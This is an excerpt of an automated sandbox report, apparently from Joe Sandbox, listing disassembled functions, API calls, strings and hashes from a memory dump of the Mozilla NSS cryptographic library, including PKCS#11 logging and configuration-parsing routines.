isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEA5195

Strings

config=, xrefs: 6CEA509B
nss=, xrefs: 6CEA5083
library=, xrefs: 6CEA5043
name=, xrefs: 6CEA5057
parameters=, xrefs: 6CEA506B

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: e51e475982cb72d5940b60605f31e27aee39d548d137b2cd0c48851102f96cb2
Instruction ID: 2c1ee9cefb1359d5db151c4fd1e0c303686d2539d8b5ca10dea46f70910ad31e
Opcode Fuzzy Hash: e51e475982cb72d5940b60605f31e27aee39d548d137b2cd0c48851102f96cb2
Instruction Fuzzy Hash: C651A8B5E026056FEB00DF64DC41BAB77B8AF1624CF240424ED15EB741EB25E916CBB2

Function 6CE78E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CE78E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE78EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE78EB3

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE78EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CE78EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CE78F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE78F29
PR_LogPrint.NSS3(?,00000000), ref: 6CE78F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE78F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE78F80
PR_LogPrint.NSS3(?,00000000), ref: 6CE78F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CE78FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CE78FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CE79047

Strings

hKey = 0x%x, xrefs: 6CE78F5B, 6CE78F6B
hSession = 0x%x, xrefs: 6CE78E8E, 6CE78E9E
(CK_INVALID_HANDLE), xrefs: 6CE78EAC, 6CE78F1F, 6CE78F79
hWrappingKey = 0x%x, xrefs: 6CE78F01, 6CE78F11
*pulWrappedKeyLen = 0x%x, xrefs: 6CE79042
pWrappedKey = 0x%p, xrefs: 6CE78FAD
pMechanism = 0x%p, xrefs: 6CE78EE0
C_WrapKey, xrefs: 6CE78E71
pulWrappedKeyLen = 0x%p, xrefs: 6CE78FC8

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: a00c67ecfbf153c0a56d0e761bf77dd5a6d78faa701e9d645083e8499821cf10
Instruction ID: 61f73fc4310b42d3c375f36c2d53ff584021fc143b8bc838dbd0d81046c9ea97
Opcode Fuzzy Hash: a00c67ecfbf153c0a56d0e761bf77dd5a6d78faa701e9d645083e8499821cf10
Instruction Fuzzy Hash: 5751F331A11104EBDB209F51AD48F9F7B72EB5230CF44402AFA0877B12D732A919CBA2

Function 6CEA4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CE94F51,00000000), ref: 6CEA4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CE94F51,00000000), ref: 6CEA4C5B
PR_smprintf.NSS3(6CF7AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CE94F51,00000000), ref: 6CEA4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CE94F51,00000000), ref: 6CEA4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEA4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEA4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEA4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CE94F51,00000000), ref: 6CEA4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CE94F51,00000000), ref: 6CEA4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CEA4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CEA4DA2
free.MOZGLUE(?), ref: 6CEA4DB9
free.MOZGLUE(00000000), ref: 6CEA4DCF

Strings

rootFlags, xrefs: 6CEA4D47
0x%08lx=[%s %s], xrefs: 6CEA4D80
%s,%s, xrefs: 6CEA4C4B
ootT, xrefs: 6CEA4D1A
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CEA4D9D
every, xrefs: 6CEA4CA1
slotFlags, xrefs: 6CEA4D34
any, xrefs: 6CEA4C96
timeout, xrefs: 6CEA4C91
rust, xrefs: 6CEA4D22

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 1562d710b302051a79e5b256a2da622ad101eac4b90254093e7e0b31eee1c215
Instruction ID: e3a54890f81fffb5e206f09c819a9236d20ff8de29d04f7af4eaf82c32bddaab
Opcode Fuzzy Hash: 1562d710b302051a79e5b256a2da622ad101eac4b90254093e7e0b31eee1c215
Instruction Fuzzy Hash: 2241AFB2D101416FEB125F58AC40ABB3A75AF8230CF25412AEC195F701EB35D926C7E3

Function 6CE86CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE86910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CE86943
Part of subcall function 6CE86910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CE86957
Part of subcall function 6CE86910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CE86972
Part of subcall function 6CE86910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CE86983
Part of subcall function 6CE86910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CE869AA
Part of subcall function 6CE86910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CE869BE
Part of subcall function 6CE86910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CE869D2
Part of subcall function 6CE86910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CE869DF
Part of subcall function 6CE86910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CE86A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE86D8C
free.MOZGLUE(00000000), ref: 6CE86DC5
free.MOZGLUE(?), ref: 6CE86DD6
free.MOZGLUE(?), ref: 6CE86DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE86E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE86E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE86E72
free.MOZGLUE(?), ref: 6CE86EA7
free.MOZGLUE(?), ref: 6CE86EC4
free.MOZGLUE(?), ref: 6CE86ED5
free.MOZGLUE(00000000), ref: 6CE86EE3
free.MOZGLUE(?), ref: 6CE86EF4
free.MOZGLUE(?), ref: 6CE86F08
free.MOZGLUE(00000000), ref: 6CE86F35
free.MOZGLUE(?), ref: 6CE86F44
free.MOZGLUE(?), ref: 6CE86F5B
free.MOZGLUE(00000000), ref: 6CE86F65

Part of subcall function 6CE86C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CE8781D,00000000,6CE7BE2C,?,6CE86B1D,?,?,?,?,00000000,00000000,6CE8781D), ref: 6CE86C40
Part of subcall function 6CE86C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CE8781D,?,6CE7BE2C,?), ref: 6CE86C58
Part of subcall function 6CE86C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CE8781D), ref: 6CE86C6F
Part of subcall function 6CE86C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CE86C84
Part of subcall function 6CE86C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CE86C96
Part of subcall function 6CE86C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CE86CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE86F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE86FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CE86FF4

Strings

+`l, xrefs: 6CE86D0D

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`l
API String ID: 1304971872-283784926
Opcode ID: 6e633430fb1b31fb545bb532fd1940e5f6bebfcf537d167dc1555c6ea136b2f7
Instruction ID: 39e1a932f7ac6ef1a63bde0410b3c2eb8da298de42d8aec81bdea31968e65b13
Opcode Fuzzy Hash: 6e633430fb1b31fb545bb532fd1940e5f6bebfcf537d167dc1555c6ea136b2f7
Instruction Fuzzy Hash: 83B15FB0E222099FDF00DFA5D845B9EBBB8AF0534DF240025E919E7B40E735E915CBA1

Function 6CE4DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE4DDDE

Part of subcall function 6CEA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE487ED,00000800,6CE3EF74,00000000), ref: 6CEA1000
Part of subcall function 6CEA0FF0: PR_NewLock.NSS3(?,00000800,6CE3EF74,00000000), ref: 6CEA1016
Part of subcall function 6CEA0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE487ED,00000008,?,00000800,6CE3EF74,00000000), ref: 6CEA102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CE4DDF5

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE4DE34
PR_Now.NSS3 ref: 6CE4DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CE4DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE4DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE4DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CE4DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CE4DEF0
PR_smprintf.NSS3(6CF7AAF9,(NULL) (Validity Unknown)), ref: 6CE4DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE4DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE4DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE4DF33
free.MOZGLUE(00000000), ref: 6CE4DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE4DF4B
free.MOZGLUE(00000000), ref: 6CE4DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE4DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6CE4DEFA
%s%s, xrefs: 6CE4DEEB
{???}, xrefs: 6CE4DE8B

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: a9511732eb4e26e5744e8f0e00ea8e10054863a03c352664c4cd7e6f241c5a7e
Instruction ID: 8679ac99374bd7a71a2440a27280cd13d511a2d5af0991f4bc18a494cf804065
Opcode Fuzzy Hash: a9511732eb4e26e5744e8f0e00ea8e10054863a03c352664c4cd7e6f241c5a7e
Instruction Fuzzy Hash: 115192B5E001059FDB109F65EC41AAF7AB9AF95358F248029E809EB701E731DA15CBE1

Function 6CE82D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CE82DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CE82E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE82E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE82E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CE54F1C,?,-00000001,00000000,?), ref: 6CE82E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CE54F1C,?,-00000001,00000000), ref: 6CE82E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE82EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE82EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE82EF8
PR_Unlock.NSS3(?), ref: 6CE82F62
TlsGetValue.KERNEL32 ref: 6CE82F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CE82F9E
PR_Unlock.NSS3(?), ref: 6CE82FCA
TlsGetValue.KERNEL32 ref: 6CE8301A
EnterCriticalSection.KERNEL32(?), ref: 6CE8302E
PR_Unlock.NSS3(?), ref: 6CE83066
PR_SetError.NSS3(00000000,00000000), ref: 6CE83085
PR_Unlock.NSS3(?), ref: 6CE830EC
TlsGetValue.KERNEL32 ref: 6CE8310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CE83124
PR_Unlock.NSS3(?), ref: 6CE8314C

Part of subcall function 6CE69180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CE9379E,?,6CE69568,00000000,?,6CE9379E,?,00000001,?), ref: 6CE6918D
Part of subcall function 6CE69180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CE9379E,?,6CE69568,00000000,?,6CE9379E,?,00000001,?), ref: 6CE691A0

Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307AD
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307CD
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307D6
Part of subcall function 6CE307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDC204A), ref: 6CE307E4
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,6CDC204A), ref: 6CE30864
Part of subcall function 6CE307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE30880
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,6CDC204A), ref: 6CE308CB
Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(?,?,6CDC204A), ref: 6CE308D7
Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(?,?,6CDC204A), ref: 6CE308FB

PR_SetError.NSS3(00000000,00000000), ref: 6CE8316D

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: f546be2bbc47cdf198a7c8c833db296be1cd397318e91641bbaf43b3ffca6300
Instruction ID: fa0d7d77093243cd1351cbfd792558383797ff4e1f13036f3be73920f642ba37
Opcode Fuzzy Hash: f546be2bbc47cdf198a7c8c833db296be1cd397318e91641bbaf43b3ffca6300
Instruction Fuzzy Hash: 06F19CB5D01208DFDF41DFA4D884B9EBBB4BF0A318F244169EC09A7711EB31A995CB91

Function 6CE7AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CE7AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE7AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE7AF83

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE7AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CE7AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CE7AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE7AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE7B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE7B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CE7B041

Strings

hSession = 0x%x, xrefs: 6CE7AF5E, 6CE7AF6E
pData = 0x%p, xrefs: 6CE7AFEF
(CK_INVALID_HANDLE), xrefs: 6CE7AF7C
pSignature = 0x%p, xrefs: 6CE7B023
pulSignatureLen = 0x%p, xrefs: 6CE7B03C
C_SignMessage, xrefs: 6CE7AF41
ulDataLen = %d, xrefs: 6CE7B00A
ulParameterLen = 0x%p, xrefs: 6CE7AFD4
pParameter = 0x%p, xrefs: 6CE7AFB9

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 2d810c649460c0b1c33e84bd043c812dde1b741a90a03740ccb01dce505948af
Instruction ID: 85f456960fd4194f55cf9fe172afe44a242b01c48630095bd65fd4d02c87146b
Opcode Fuzzy Hash: 2d810c649460c0b1c33e84bd043c812dde1b741a90a03740ccb01dce505948af
Instruction Fuzzy Hash: 4B41C376B01104EFDB508F91ED48F8EBBB1AB4230DF994428F90867B11DB329C59DBA1

Function 6CE69FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE69FBE

Part of subcall function 6CE42F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE42F0A
Part of subcall function 6CE42F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE42F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE6A015

Part of subcall function 6CE81940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CE8563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CE8195C
Part of subcall function 6CE81940: EnterCriticalSection.KERNEL32(?,?,6CE8563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CE5EAC5,00000001), ref: 6CE81970
Part of subcall function 6CE81940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CE5EAC5,00000001,?,6CE5CE9B,00000001,6CE5EAC5), ref: 6CE819A0

PL_FreeArenaPool.NSS3(?), ref: 6CE6A067
PR_CallOnce.NSS3(6CFA2AA4,6CEA12D0), ref: 6CE6A055

Part of subcall function 6CDC4C70: TlsGetValue.KERNEL32(?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4C97
Part of subcall function 6CDC4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4CB0
Part of subcall function 6CDC4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE6A07E
PR_CallOnce.NSS3(6CFA2AA4,6CEA12D0), ref: 6CE6A0B1
PL_FreeArenaPool.NSS3(?), ref: 6CE6A0C7
PL_FinishArenaPool.NSS3(?), ref: 6CE6A0CF
PR_CallOnce.NSS3(6CFA2AA4,6CEA12D0), ref: 6CE6A12E
PL_FreeArenaPool.NSS3(?), ref: 6CE6A140
PL_FinishArenaPool.NSS3(?), ref: 6CE6A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE6A158
PL_FinishArenaPool.NSS3(?), ref: 6CE6A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CE6A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE6A1B2
free.MOZGLUE(00000000), ref: 6CE6A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CE6A1D6

Part of subcall function 6CE855E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CE5EAC5,00000001,?,6CE5CE9B,00000001,6CE5EAC5,00000003,-00000004,00000000,?,6CE5EAC5), ref: 6CE85627
Part of subcall function 6CE855E0: PR_CallOnce.NSS3(6CFA2AA4,6CEA12D0,?,?,?,?,?,?,?,?,?,?,6CE5EAC5,00000001,?,6CE5CE9B), ref: 6CE8564F
Part of subcall function 6CE855E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE5EAC5,00000001), ref: 6CE85661
Part of subcall function 6CE855E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE5EAC5), ref: 6CE856AF

Strings

security, xrefs: 6CE6A00F

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
